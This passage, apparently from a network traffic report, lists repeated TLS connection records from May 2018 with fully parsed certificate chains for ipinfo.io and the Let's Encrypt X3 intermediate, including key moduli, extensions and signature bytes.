Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:27.652431965 CEST	443	49204	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:29.567468882 CEST	443	49209	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:29.567468882 CEST	443	49209	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:31.467016935 CEST	443	49214	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:31.467016935 CEST	443	49214	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F 